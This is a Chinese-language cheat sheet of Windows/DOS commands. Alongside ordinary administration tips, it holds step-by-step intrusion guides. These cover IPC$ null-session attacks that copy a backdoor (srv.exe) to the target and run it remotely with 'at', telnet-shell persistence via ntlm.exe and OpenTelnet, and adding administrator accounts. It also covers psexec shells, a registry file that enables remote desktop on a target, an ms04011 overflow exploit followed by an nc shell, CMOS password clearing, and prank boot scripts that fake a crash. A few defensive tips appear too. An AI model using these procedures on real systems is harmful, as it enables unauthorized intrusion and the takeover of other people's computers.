1、 1.前提是有对方权限,百度可以搜索shutdown关闭远程计算机要求 (1).在60秒后强制关机并有提示: shutdown /s /f /m IP /t 60 /c 计算机将在60秒后关机,取消关机请在开始菜单的'运行'中输入cmd,进入dos后输入"shutdown -a" (2).在20秒后关闭指定IP的计算机:shutdown /s /t 20 /m IP (3).在10秒钟后重启指定IP的计算机: shutdown -r /t 10 /m IP (4).强制关闭指定IP的计算机:shutdown /s /t 10 /f /m IP (
2、5).强制重启指定IP的计算机:shutdown /r /t 10 /f /m IP (6).取消指定IP的关机或重启shutdown -a /m IP ; 2.查看当前访问过我计算机的IP(会话):net session 3.合并两个二进制文件: copy/b 1.mp3+2.mp3 3.mp3 4.从计算机中找合适的工具打开指定的文件:start 3.mp3 start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 例: start E:\yz.exe 5.清除密码: c:\>debug 输入deb
3、ug回车 -o 70 10 输入o空格70空格10回车 -o 71 10 输入o空格71空格10回车 -q 输入q退出debug 原理是:利用o语句输入端口把垃圾字节10H覆盖原有CMOS数据,致使CMOS读取错误而自动重置成没有密码的初始状态,而达到破解目的。 条件:MS-DOS窗口 6.巧设开机密码: (1)用记事本打开或edit新建Autoexec.bat,输入以下内容: @echo off echo non-system disk or disk error
4、 choice /c:#/n 使用:开机时显示non-system disk or disk error,造成“死机”的假象,别人看了会吓一跳,如果是你自己开的机,可以从容地输入# (相当于开机密码,也可以换成其它 字符),即可让电脑继续运行直至进入桌面。 (2)屏幕花屏: 打开记事本新建C:\Windows\Winstart.bat,输入以下内容: @echo off abc echo _ _是英文下划线,为了节省篇幅,这里只输入1个,在实际中请输入80个_才能达到效果 goto abc
5、 使用:当别人打开你的电脑时会以为显示器坏了或有病毒了,以达到吓退非法来客的目的,如果是你开机,暂时中止的方法:Ctrl+Break组合键,再按Y 键。 彻底解除的方法:开机按F8进入DOS,把C:\Windows\Winstart.bat文件删除即可恢复。 7.at命令的用法:at \\192.168.12.121 10:55 net start Application at \\192.168.12.121 10:55可直接查看用对方任务计划是否已经执行 8.mstsc ----------远程桌面连接 9.logoff---------注销命令
6、 10.如果at命令在命令提示符下运行,提示"服务尚未启动" ,在服务里找到Task Scheduler启动,可解决此问题 11.tsshutdn-------60秒倒计时关机命令 12.arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 13.fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 14.nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户
7、名)-注意:参数-A要大写 send ip "文本信息" 向对方发信息 条件是:控制面板中的服务中的Message服务有开启 ip前没有\\ view 查看本地局域网内开启了哪些共享 net view \\ip 查看对方局域网内开启了哪些共享 time \\目标ip 查看对方时间 net time \\目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息 18.unformat 恢复已被格式化的磁盘 unformat [盘符] 恢复指定的被格式化的磁盘
8、 format 盘符: /Q /X 格式化磁盘 config 显示系统网络设置 20.echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 echo 信息 在屏幕上显示出信息 echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 21.findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello 例:findstr "Hello" E:\aa.txt 22.type [文件名] 显示文本文件的内容 例:type D:\Others\清除系统
9、LJ.txt (可查看文件内容) 23.(1)查看所有dos命令 cmd ---->键入help (2)查看单独命令用法 cmd ---->命令名称 /? 例:at /? 24.nbtstat -s -a IP 查看与本地机相连的电脑的信息(知道IP获取对方计算机名) 25.C:\WINDOWS\system32\config\SAM 存放系统密码 26.ren 原文件名 新文件名 重命名文件名 27.finger username @host 查看最近有哪些用户登陆 28.regedt32------注
10、册表编辑器 regedit ------注册表 29.copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指 ASCLL格式文件 30.局域网隐身法: 在局域网中常通过网上邻居查看局域网中其他用户的在线情况,如果你不希望别的用户知道你是否在线 这时可以在win2000/xp下运行cmd 然后再运行net config server hidden:yes 回车后就隐身啦。如果要取消只要把yes 改成no 31.dir 查
11、找文件 /a:查找隐藏文件 /s:在当前目录查找 例如:c:\>dir 123.exe /a /s 在c盘查找所有的123.exe文件,即使是隐藏文件 32.diskcopy 复制整张磁盘文件到另一个磁盘 33.del 删除文件:如:c:\>del D:\123.txt c:\sysoft>del . rd 删除空目录 34.attrib 显示所有文件的属性 attrib +r或-r [文件名] 设置文件属性是否为只读 attrib +h或-h [文件名] 设置文件属性是否隐含
12、 attrib +s或-s [文件名] 设置文件属性是否为系统文件 attrib +a或-a [文件名] 设置文件属性是否为归档文件 attrib /s 设置包括子目录的文件在内的文件属性 [例 子] C:\TEST>attrib +r wina20.386 C:\>attrib +h *.* /s 隐含所有文件 35.taskmgr-------- 任务管理器 36.conf-----------启动netmeeting 37.tasklist----------查找当前系统进程
13、包含pid) 38.taskkill /参数 进程名或进程的pid ------------- 终止一个或多个任务和进程。 参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 例:taskkill /pid 2330 /f 39.more 文件名 以一页一页的方式显示一个文本文件。 例:more D:\Others\dos\总结DOS.txt 40.mkdir 目录名 建立目录 41.rmdir 删除子目录,目录内没有文档。 4
14、2.tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 43.findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello 示例:findstr "b" E:\123\234.txt localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 user guest /active:yes 激活guest用户 net user guest /active:no 禁用guest user 用户名 新密码
15、即可修改为你需要的密码 net user 帐户名 密码 /add 添加一个用户 share xxh=c:\ 共享C盘 net share xxh /del 删除C盘共享 start 服务 开启服务 net start mssqlserver net stop 服务 停止服务 net stop mssqlserver pause 服务名 暂停某服务 50.如何防范 ipc$ 入侵 (1)关闭 ipc$ 和默认共享依赖的服务 :server 服务
16、 如果你真的想关闭 ipc$ 共享,那就禁止 server 服务吧:控制面板 - 管理工具 - 服务 - 找到 server 服务(右击) - 属性 - 常规 - 启动类型 - 选已禁用,这时 可能会有提示说: XXX 服务也会关闭是否继续,因为还有些次要的服务要依赖于 server 服务,不要管它。 (2)屏蔽 139 , 445 端口 由于没有以上两个端口的支持,是无法建立 ipc$的,因此屏蔽139,445端口同样可以阻止 ipc$入侵.139端口可以通过禁止 NBT 来屏蔽 本地连接- TCP/IP 属性-高级 -WIN
17、S -选‘禁用‘ send ip "文本信息" 向对方发信息 (前提:双方都有开启Messenger服务) 52.查看一个文件内容:TYPE[盘符:][路径]〈文件名〉 53.复制指定的目录和目录下的所有文件连同目录结构:XCOPY [源盘:]〈源路径名〉[目标盘符:][目标路径名][/S][/V][/E] (1)选用/S时对源目录下及其子目录下的所有文件进行COPY。除非指定/E参数,否则/S不会拷贝空目录,若不指定/S参数,则XCOPY只拷贝源目 录本身的文件,而不涉及其下的 子目录; (2)选用/V参数时,对的拷贝的扇区都进行较验,但速度会降低。
18、 user guest 12345 用guest用户登陆后用将密码改为12345 time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间相同,加上参数/yes可取消确认信息 56.局域网中知道ip地址,如何获取对方计算机名? (1)可以查出用户名还可以看到他所在的工作组,就是: nbtstat -s -a IP (2)右键我的电脑,管理,右键计算机管理,连接到另外一台计算机,输入ip,单击确定 57.知道对方计算机名如何知道对方IP? ping IP 里面包含计算机名 例如:ping 192.168.12.1 58.非xp
19、系统的IPC$入侵 1 建立 / 删除 ipc$ 连接的命令 1 )建立空连接 : net use \\127.0.0.1\ipc$ "" /user:"" 2 )建立非空连接 : net use \\127.0.0.1\ipc$ " 密码 " /user:" 用户名 " 3 )删除连接 : net use \\127.0.0.1\ipc$ /del 2 在 ipc$ 连接中对远程主机的操作命令 1 ) 查看远程主机的共享资源(看不到默认共享) : net
20、view \\127.0.0.1 2 ) 查看远程主机的当前时间 : net time \\127.0.0.1 3 ) 得到远程主机的 netbios 用户名列表 : nbtstat -A 127.0.0.1 4 )映射 / 删除远程共享 : net use z: \\127.0.0.1\c 此命令将共享名为 c 的共享资源映射为本地 z 盘 net use z: /del 删除映射的 z 盘,其他盘类推 5 )向远程主机复
21、制文件 : copy 路径 \ 文件名 \\IP\ 共享目录名,如: copy c:\xinxin.exe \\127.0.0.1\c$ 即将 c 盘下的 xinxin.exe 复制到对方 c 盘内 当然,你也可以把远程主机上的文件复制到自己的机器里: copy \\127.0.0.1\c$\xinxin.exe c:\ 6 )远程添加计划任务 : at \\IP 时间 程序名 如: at \\127.0.0.0 11:00 xinxi
22、n.exe 注意:时间尽量使用 24 小时制;如果你打算运行的程序在系统默认搜索路径(比如 system32/ )下则不用加路径,否则必须加全路径 3 本地命令 1 )查看本地主机的共享资源(可以看到本地的默认共享) net share 2 )得到本地主机的用户列表 net user 3 )显示本地某用户的帐户信息 net user 帐户名 4 )显示本地主机当前启动的服务 net start 5 )启动 / 关闭本地服务
23、 net start 服务名 net stop 服务名 6 )在本地添加帐户 net user 帐户名 密码 /add 7 )激活禁用的用户 net uesr 帐户名 /active:yes 8 )加入管理员组 net localgroup administrators 帐户名 /add 很显然的是,虽然这些都是本地命令,但如果你在远程主机的 shell 中输入,比如你 telnet 成功后输入上面这些命令,那么这些本地输入将作用在远程主机上
24、 9 )从管理员组删除 net localgroup administrators 帐户名 /del 4 其他一些命令 1 )telnet telnet IP 端口 telnet 127.0.0.0 23 2 )用 opentelnet.exe 开启远程主机的 telnet OpenTelnet.exe \\ip 管理员帐号 密码 NTLM 的认证方式 port OpenTelnet.exe \\127.0.0.1 administrator ""
25、 1 90 不过这个小工具需要满足四个要求: 1 )目标开启了 ipc$ 共享 2 )你要拥有管理员密码和帐号 3 )目标开启 RemoteRegistry 服务,用户就可以更改 ntlm 认证 4 )对仅 WIN2K/XP 有效 5 )用 psexec.exe 一步获得 shell ,需要 ipc 管道支持 (对方必须开启admin$) psexec.exe \\IP -u 管理员帐号 -p 密码 cmd psexec.exe \\127.0.0.1 -u administrat
26、or -p "" cmd 十三 对比过去和现今的 ipc$ 入侵 既然是对比,那么我就先把过去的 ipc$ 入侵步骤写给大家,都是蛮经典的步骤: [1] C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators \\ 用扫到的空口令建立连接 [2] c:\>net view \\127.0.0.1 \\ 查看远程的共享资源 [3] C:\
27、>copy srv.exe \\127.0.0.1\admin$\system32 \\ 将一次性后门 srv.exe 复制到对方的系统文件夹下,前提是 admin$ 开启 [4] C:\>net time \\127.0.0.1 \\ 查看远程主机的当前时间 [5] C:\>at \\127.0.0.1 时间 srv.exe \\ 用 at 命令远程运行 srv.exe ,需要对方开启了
28、 'Task Scheduler' 服务 [6] C:\>net time \\127.0.0.1 \\ 再次查看当前时间来估算 srv.exe 是否已经运行,此步可以省略 [7] C:\>telnet 127.0.0.1 99 \\ 开一个新窗口,用 telnet 远程登陆到 127.0.0.1 从而获得一个 shell( 不懂 shell 是什么意思?那你就把它想象成远程机器的控制权就好了,操作像
29、 DOS),99 端口是srv.exe 开的一次性后门的端口 [8] C:\WINNT\system32>net start telnet \\ 我们在刚刚登陆上的 shell 中启动远程机器的 telnet 服务,毕竟 srv.exe 是一次性的后门,我们需要一个长久的后门便于以后访问,如果对方的 telnet 已 经启动,此步可省略 [9] C:\>copy ntlm.exe \\127.0.0.
30、1\admin$\system32 \\ 在原来那个窗口中将 ntlm.exe 传过去, ntlm.exe 是用来更改 telnet 身份验证的 [10] C:\WINNT\system32>ntlm.exe \\ 在 shell 窗口中运行 ntlm.exe ,以后你就可以畅通无阻的 telnet 这台主机了 [11] C:\>telnet 127.0.0.1 23 \\ 在新窗口中 t
31、elnet 到 127.0.0.1 ,端口 23 可省略,这样我们又获得一个长期的后门 [12] C:\WINNT\system32>net user 帐户名 密码 /add C:\WINNT\system32>net uesr guest /active:yes C:\WINNT\system32>net localgroup administrators 帐户名 /add \\telnet 上以后,你可以建立新帐户,激活 guest ,把任何
32、帐户加入管理员组等 好了,写到这里我似乎回到了 2 , 3 年前,那时的 ipc$ 大家都是这么用的,不过随着新工具的出现,上面提到的一些工具和命令现在已经不常用到了,那就让 我们看看现在的高效而简单的 ipc$ 入侵吧。 [13] psexec.exe \\IP -u 管理员帐号 -p 密码 cmd \\ 用这个工具我们可以一步到位的获得 shell OpenTelnet.exe \\server 管理员帐号 密码 NTLM 的认证方式 p
33、ort \\ 用它可以方便的更改 telnet 的验证方式和端口,方便我们登陆 59.xp系统入侵 1.开启远程桌面(3389端口) 将下面三行复制到记事本,该后缀名为3389.reg 即可打开3389端口(远程桌面连接功能) Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] "fDenyTSConnections"=dword
34、00000000 将3389.reg复制到目标机上(复制要先得到目标的权限) 在目标机上导入3389.reg 的dos命令:regedit /s c:\3389.reg 或 regedit /e c:\123.reg 再在运行输入mstsc 在弹出的窗口中输入目标机的IP 即可连接到目标机的桌面 2.xp 系统入侵 [1].入侵一: 对方电脑条件: (1)控制面板------>服务----->本地安全策略------>安全选项-->"网络访问:本地账
35、户的共享和安全模式 "为"经典-本地用户以自己的身份验证" 可通过修改注册表改为"经典-本地用户以自己的身份验证": Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] "forceguest"=dword:00000000 (2)控制面板------>服务----->本地安全策略--
36、>安全选项-->"账户:来宾用户状态" 为已启用 net user guest /active:yes 可开启 (3)有对方用户名和密码 入侵步骤: (1).开始菜单----->运行----->cmd-->键入net use \\192.168.0.1\ipc$ " 密码 " /user:" 用户名 " 例: net use \\192.168.0.1\ipc$ "" /user:"administrator" (2)
37、我的电脑---->管理---->操作--->连接到另一台计算机---->输入对方计算机名或IP
当连接 上了以后----->点击左边的"服务和应用程序",服务---->开启 telnet 服务
(3)开始菜单----->运行----->cmd-->telnet 192.168.0.1 即可获得对方shell
[2].入侵二:使用xp溢出(我没成功过)
在网上下载一个xp.exe 或 ms04011
(1).xp溢出使用方法: xp 38、rget IP> 例:D:\xp.exe 15 192.168.0.1 溢出成功即可获得对方shell
(2).ms04011 使用
D:\>ms04011 1 192.168.8.222 1122
shellcode size 404
Ret value = 1727
再开一个shell
D:\>nc 192.168.8.222 1122
如果出现引号内容
39、
"Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp. "
则表示溢出成功,获得对方shell,这样即可在对方机上执行任何命令
[3].借助 psexec.exe 工具
前提:对方有共享admin$;net share admin$ 即可共享admin$,删除 net share admin$ /del
psexec.exe \\IP -u 40、 管理员帐号 -p 密码 cmd \\ 用这个工具我们可以一步到位的获得 shell
例:D:\psexec.exe \\192.168.0.1 -u administrator -p "" cmd
60.系统防护:
控制面板—>管理工具—>本地安全策略”,展开“本地策略”—“用户权利指派”。在右边有一个“拒绝从网络访问这台计算机”-->添加 用户和组
添加Guest用户即可让别人不能从网络访问本机
61.禁用的at服务开启?
先运行“sc config Schedule start= DEMAND” 41、再运行一遍“net start schedule”
62.注册表解禁
1).在Windows 2000/XP/2003中,我们可以通过单击“开始→运行”,输入“Gpedit.msc”后回车,打开“组策略”。然后依次展开“用户配置→管理模板 →系统”,双击右 侧窗口中的“阻止访问注册表编辑工具”,在弹出的窗口中选择“已禁用”,“确定”后再退出“组策略”,即可为注册表解锁.
2).用记事本编辑一个任意名字的.reg文件,比如注册表qifan.reg,内容如下:
REGEDIT4
[HKEY_CURRENT_USER\\Sof 42、tware\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]
" DisableRegistryTools "=dword:00000000
存盘。然后双击它就好
63.运行隐藏
1:打开组策略编辑器(可以在任务管理器的文件菜单下面点新建任务,输入gpedit.msc打开,也可以直接在系统盘的 windows\system32目录下面找到gpedit.msc这个文件打开) 展开左边最下面一个管理模板,点任务栏和开始菜单,确认“从开始菜单中删除‘运行’菜单”没有被启用(要是被启用,就双 43、击打开它的属性,设置成未被配置或 已禁用, 最好是已禁用,这样别的一些优化软件如果禁用了运行,这这里都可以显示了。)
2:如果上面设置后还是没有的话,就用这个方法。
在任务栏点右键,打开“任务栏和开始菜单属性”点击开始菜单,下面有两个选项,如果你是XP默认的开始菜单,则点击开始菜单后面的“自定义”点“高级”, 在开始菜 单项目里面最后一个选项“运行命令”前打上勾,这样运行就出现了。如果你是经典开始菜单就选择它后面的“自定义”在开始菜单选项里面把“显示运行”勾上, 然后应 用就可以了。当然你先设置“2”再设置“1”也是可的
44、 3:将以下内容复制到写字板中然后存为1.reg双击打开1.reg文件就可恢复了。
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explore r] "NoRun"=dword:00000000 [HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explor er] "NoRun"=dword:00000000
64.让文件不能删除 re 45、n name E:\123.txt " ./" 删除用文件暴力删除器
65.桌面右键被锁
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDesktop"=-
将上面的内容全部复制到记事本保存为“*.reg”再找到它,双击即可,解决问题。
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDesktop"=dword:00000001桌面不可用
桌面可用. =dword:00000000
66.runas /profile /user:administrator cmd.exe 查看 administrator 用户的权限






